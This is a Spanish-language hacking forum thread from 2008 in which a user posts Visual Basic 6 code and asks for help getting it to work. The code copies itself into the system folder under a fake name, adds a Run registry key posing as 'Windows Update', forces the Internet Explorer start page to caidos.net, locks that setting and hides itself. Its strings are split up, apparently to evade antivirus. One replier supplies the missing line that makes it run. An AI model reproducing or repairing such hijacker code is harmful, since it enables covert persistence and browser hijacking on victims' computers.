elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Un bicho cada ves que prenda mi pc secion AYUDA
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Un bicho cada ves que prenda mi pc secion AYUDA  (Leído 1,708 veces)
arnoldz

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Un bicho cada ves que prenda mi pc secion AYUDA
« en: 23 Diciembre 2008, 22:10 pm »

Bueno aqui tengo un scrip q cada ves q se inica mi pc se activa haciendoq  cambie mi pagina de inicio me funciona corectamente
pero este scrip anda mescaldo con otro solo quiero sacar loq es pagina de inicio como lo puedo hacer:

Private Sub Timer5_Timer()
If Not Inet1.StillExecuting Then
Call MyButton_Click
Timer5.Enabled = False
End If
End Sub


Private Sub Timer6_Timer()
    Dim win
    Dim sys
    Dim residencia
    On Error Resume Next
ejec = App.Path
     
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\halo2"
Name sys & "\halo2" As sys & "\htdschk.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://caidos.net/"
residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "1"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://caidos.net/"
App.TaskVisible = False

End Sub

Private Sub Timer7_Timer()
Open Label3.Caption & ".txt" For Binary As #1
Close #1
Shell ("attrib " & Label3.Caption & ".txt +s +h +a"), vbHide
Timer7.Enabled = False
End Sub

Public Function TranslucentForm(frm As Form, TranslucenceLevel As Byte) As Boolean
SetWindowLong frm.hwnd, GWL_EXSTYLE, WS_EX_LAYERED 'hacemos invisible el form
SetLayeredWindowAttributes frm.hwnd, 0, TranslucenceLevel, LWA_ALPHA
TranslucentForm = Err.LastDllError = 0
End Function

bueno hay ma codigo pero pienzo q es lo principal


En línea

Novlucker
Ninja y
Colaborador
***
Desconectado Desconectado

Mensajes: 10.683

Yo que tu lo pienso dos veces


Ver Perfil
Re: Un bicho cada ves que prenda mi pc secion AYUDA
« Respuesta #1 en: 23 Diciembre 2008, 22:19 pm »

Lo de las páginas de inicio esta hecho modificando las llaves del registro, esta aquí  :P

Código
  1. residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://caidos.net/"
  2. residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://caidos.net/"
  3. residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "1"
  4. residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://caidos.net/"

La tercera línea no cuenta, pero lo dejo para que ubiques el fragmento de código

Saludos

P.d: sugerencia: utiliza etiquetas geshi


En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein
arnoldz

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: Un bicho cada ves que prenda mi pc secion AYUDA
« Respuesta #2 en: 23 Diciembre 2008, 22:36 pm »

bueno si entiendo eso loq pasa es q todo el scrip q te paso ahi no funciona nesesito hacerlo funcionar
En línea

Novlucker
Ninja y
Colaborador
***
Desconectado Desconectado

Mensajes: 10.683

Yo que tu lo pienso dos veces


Ver Perfil
Re: Un bicho cada ves que prenda mi pc secion AYUDA
« Respuesta #3 en: 23 Diciembre 2008, 22:47 pm »

Es que si te fijas, las cadenas comienzan por residencia, que se supone que sea residencia  :huh:

Por lo que veo estas accediendo a archivos y modificando el registro con vbs, sería mejor hacerlo en VB puro  :rolleyes:, pero si lo vas a hacer así agrega esta línea

Código
  1. Set residencia = createobject("wscript.shell")

Eso ponlo debajo de ... Set obj = CreateObject("Scripting.FileSystemObject") y ya debería de funcionar

Saludos
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein
LeandroA
Moderador
***
Desconectado Desconectado

Mensajes: 760


www.leandroascierto.com


Ver Perfil WWW
Re: Un bicho cada ves que prenda mi pc secion AYUDA
« Respuesta #4 en: 23 Diciembre 2008, 23:50 pm »

Hola, este moco es para que no lo detecten los antivirus?
Código:
"H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe"
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: Un bicho cada ves que prenda mi pc secion AYUDA
« Respuesta #5 en: 24 Diciembre 2008, 15:08 pm »

Pues me supongo que si, por que si no menudo código más feo.. xDDD
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Es posible hacer que el pc se prenda a cierta hora?
Java
klaine 6 3,092 Último mensaje 14 Diciembre 2011, 10:59 am
por Norlak
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines